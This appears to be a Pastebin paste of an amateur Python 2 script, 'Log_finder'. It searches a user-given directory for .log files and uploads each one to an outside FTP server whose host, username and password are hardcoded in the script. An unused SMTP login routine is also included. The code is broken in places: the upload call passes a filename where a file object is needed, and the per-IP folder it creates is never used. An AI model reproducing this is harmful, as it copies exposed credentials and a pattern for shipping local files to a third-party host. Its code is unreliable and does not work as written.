Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- __author__="Diego & Oscary un especial abrazo a Ariel de Argentina por la exelente ayuda en Python"
- __date__ ="$08/16/2010 09:53:59 PM$"
- from os import path, walk
- from ftplib import FTP
- from smtplib import SMTP
- import mimetypes
- from email.MIMEText import MIMEText
- import socket
- import sys
- class Log_finder(object):
- def __init__(self, ftp_server, ftp_user, ftp_pass):
- self.ftp_server=ftp_server
- self.ftp_user=ftp_user
- self.ftp_pass=ftp_pass
- self.smtp_server=""
- self.smtp_user=""
- self.smtp_pass=""
- self.archivosLogs=[]
- def sender(self,directorio):
- ftp = FTP(self.ftp_server)
- ftp.login(user=self.ftp_user,passwd=self.ftp_pass)
- ip = socket.gethostbyname(socket.gethostname())
- log_ip = "log/%s"%(ip)
- print '>>>>>>>>>> '+directorio
- if log_ip not in ftp.nlst():
- ftp.mkd(log_ip)
- ftp.storbinary('STOR '+directorio,directorio)
- def conecter(self):
- fserver = self.ftp_server
- fuser=self.ftp_user
- fpass=self.ftp_pass
- sserver=self.smtp_server
- suser=self.smtp_user
- spass=self.smtp_pass
- try:
- ftp = FTP(fserver)
- ftp.login(user=fuser,passwd=fpass)
- except BaseException, e:
- print '\n [-] Error: %s ' %(e)
- sys.exit(1)
- else:
- print "[*]Sucessfuly conencted to: %s" %(fserver)
- try:
- smtp = SMTP(sserver,587)
- smtp.ehlo()
- smtp.starttls()
- smtp.ehlo()
- smtp.login(suser,spass)
- except BaseException, e:
- print '\n [-] Error: %s ' %(e)
- #sys.exit(1)
- else:
- print "[*]Sucessfuly conencted to: %s" %(sserver)
- def buscador(self):
- path_to_search = raw_input("Please enter the path to scan: ")
- for root, dirs, files in walk(path_to_search):
- for archivo in files:
- (shortname, extension) = path.splitext(archivo)
- if extension=='.log':
- self.archivosLogs.append(path.join(root, archivo))
- print 'encontre!!'
- for i in self.archivosLogs:
- self.sender(i)
- if __name__ == '__main__':
- Log = Log_finder('ftp.t35.com','lexel.t35.com','atletico')
- Log.conecter()
- Log.buscador()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement